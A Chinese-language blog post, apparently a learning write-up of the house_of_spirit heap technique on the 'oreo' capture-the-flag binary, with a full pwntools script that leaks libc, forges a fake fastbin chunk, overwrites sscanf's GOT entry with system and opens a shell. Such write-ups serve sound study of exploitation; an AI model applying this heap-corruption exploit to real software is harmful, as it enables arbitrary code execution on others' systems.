how2heap学习 --- house_of_spirit

栏目: C · 发布时间: 6年前

内容简介:最近在学习堆相关利用方式,由于对堆的相关机制不清楚,导致进展很慢。这里贴出相关教程1.add()

最近在学习堆相关利用方式,由于对堆的相关机制不清楚,导致进展很慢。

关于house_of_spirit

这里贴出相关教程 https://github.com/shellphish/how2heap/blob/master/glibc_2.25/house_of_spirit.c , 其思想就是通过free一块不可控内存,在进行一次malloc,使其可控。

Oreo

1.add()

how2heap学习 --- house_of_spirit

在add函数里面,我们可以找到这样一个结构体

size : 0x38
struct rifle {
    char des[0x19]
    char name[0x1b]
    char *preAddr
}

读入name时,可以读入56个字节,可以溢出覆盖pre_addr指针,并且,每增加一个refle,dword_804a288都会加1。

2.show()

how2heap学习 --- house_of_spirit

这个函数通过结构体最后的 pre_addr 遍历所有的chunk,并将其打印出来。

3.order() 该函数会将根据结构体的pre_addr free所有chunk 4.leave 。。。。。

how2heap学习 --- house_of_spirit

向保存在0x0804a2a8处得指针,读取128字节的数据,该地址在函数的一开始便赋了初始值 how2heap学习 --- house_of_spirit

在0x0804a2c0地址处

5 非关键函数,不做分析

通过2 show()函数,可以通过写入name,覆盖pre_addr指针,指向got表中任意函数地址-25处,从而得到libc基地址

#leak libc
sscanf_got=elf.got['__isoc99_sscanf']
name_payload1 = "aaa" + "bbbb"*6 + p32(sscanf_got-25)
add(name_payload1, "hhh")    
show()
p.recvuntil('=\nName: ')
p.recvuntil('=\nName: ')
sscanf=u32(p.recv(4))
log.info('sscanf address ===> '+hex(sscanf))
system=sscanf-libc.symbols['__isoc99_sscanf']+libc.symbols['system']

因为got表是可写的,想要实现往got表写数据,就必须控制0x0804a2a8地址处的指针,想要控制这个指针,就需要分配一个chunk到这个地方,因为0x0804a2a4这个地方地方的值会随着refle的增加而增加,因此,我们可以通过申请0x41个chunk的方式(为什么不增加其他个数的refle:这个地址我们把它当作fake chunk的size,按照house_of_spirit的思想,我们还得malloc这个chunk,每次malloc都是固定的0xx38,所以size为0x41),我们还需要将一个chunk的pre_addr修改为0x0804a2a8,这样,这个区域就可控了,就可以改写这段内存。

#!/usr/bin/env python
# coding=utf-8
from pwn import *
p=process('./oreo',stdin=PTY)
elf=ELF('./oreo')
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
context.log_level='debug'
def add(name,des):
    p.readuntil("Action:")
    p.sendline("1")
    p.readuntil("name:")
    p.sendline(name)
    p.readuntil("description:")
    p.sendline(des)

def show():
    p.recv()
    p.sendline('2')

def order():
    p.recv()
    p.sendline('3')
def leave(message):
    p.readuntil("Action:")
    p.sendline("4")
    p.readuntil("order: ")
    p.sendline(message)
#leak libc
sscanf_got=elf.got['__isoc99_sscanf']
name_payload1 = "aaa" + "bbbb"*6 + p32(sscanf_got-25)
add(name_payload1, "hhh")    
show()
p.recvuntil('=\nName: ')
p.recvuntil('=\nName: ')
sscanf=u32(p.recv(4))
log.info('sscanf address ===> '+hex(sscanf))
system=sscanf-libc.symbols['__isoc99_sscanf']+libc.symbols['system']
#fake chunk
for i in xrange(0x40-1):
    add('aaaa','aaaa')
payload = 'a'*0x1b+p32(0x0804a2a8)
add(payload,'aaaa')
message_payload = "\x00"*36 + p32(0x41)
leave(message_payload)
order()


add('name',p32(sscanf_got))
leave(p32(system))

p.recv()
p.sendline('/bin/sh\0')

p.interactive()

一开始我并没有写下面这一段

message_payload = "\x00"*36 + p32(0x41)
leave(message_payload)

出现了报错如下

"Action: *** Error in `./oreo': free(): invalid next size (fast): 0x0804a2a8 ***\n"

然后在glibc中找到了这一段报错的代码

if (have_lock || ({
                    assert(locked == 0);
                    __libc_lock_lock(av->mutex);
                    locked = 1;
                    chunksize_nomask(chunk_at_offset(p, size)) <= 2 * SIZE_SZ ||
                        chunksize(chunk_at_offset(p, size)) >= av->system_mem;
                })) {
                errstr = "free(): invalid next size (fast)";
                goto errout;
            }

在进行free chunk的时候一般会检查next chunk的size,下一个chunk的大小不能小于两倍的SIZE_SZ,并且下一个chunk的大小不能大于system_mem, 一般为132k,否则出现这样的情况,就报错。(这只是检查之一,以后我们整理一下分配回收机制的各种检查)如果没有上面那一段脚本对fake next chunk size做调整,就会报错


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

数据结构与算法分析

数据结构与算法分析

[美]Mark Allen Weiss / 张怀勇 / 人民邮电出版社 / 2007年 / 49.00元

《数据结构与算法分析:C++描述(第3版)》是数据结构和算法分析的经典教材,书中使用主流的程序设计语言C++作为具体的实现语言。书的内容包括表、栈、队列、树、散列表、优先队列、排序、不相交集算法、图论算法、算法分析、算法设计、摊还分析、查找树算法、k-d树和配对堆等。《数据结构与算法分析:C++描述(第3版)》适合作为计算机相关专业本科生的数据结构课程和研究生算法分析课程的教材。本科生的数据结构课......一起来看看 《数据结构与算法分析》 这本书的介绍吧!

图片转BASE64编码
图片转BASE64编码

在线图片转Base64编码工具

MD5 加密
MD5 加密

MD5 加密工具